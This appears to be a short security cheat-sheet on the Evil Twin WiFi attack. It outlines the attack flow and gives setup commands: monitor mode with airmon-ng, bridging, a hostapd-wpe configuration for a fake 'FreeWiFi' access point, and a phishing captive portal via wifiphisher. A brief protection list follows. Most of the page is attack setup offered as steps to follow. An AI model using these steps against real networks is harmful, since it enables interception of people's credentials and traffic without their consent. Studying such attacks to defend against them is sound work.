🧠 Description

The Evil Twin attack creates a fake WiFi access point that mimics a legitimate network. When users connect, all their traffic can be intercepted, including credentials and sensitive data.

Attack Flow:
  • Attacker creates access point with same SSID as legitimate network
  • Victims are deauthenticated from legitimate AP
  • Victims auto-connect to evil twin
  • All traffic passes through attacker's machine

⚙️ Setup

# Enable monitor mode
airmon-ng start wlan0

# Create bridge for internet sharing
brctl addbr br0
brctl addif br0 eth0

# Configure hostapd-wpe (802.1X AP)
# Edit hostapd-wpe.conf
interface=wlan0mon
ssid=FreeWiFi
driver=nl80211

# Start hostapd-wpe
hostapd-wpe hostapd-wpe.conf

🎣 Captive Portal Hijack

# Create fake captive portal
# Use fluxion or wifiphisher
git clone https://github.com/wifiphisher/wifiphisher
cd wifiphisher && python3 wifiphisher

# Or create manually with apache
# /var/www/html/login.php

🛡️ Protection

  • 802.1X (Enterprise WiFi): Certificate-based authentication
  • VPN: Always use VPN on public networks
  • HSTS: Prevents credential interception via SSL stripping
  • Verify Network: Check MAC address, signal strength

📚 References

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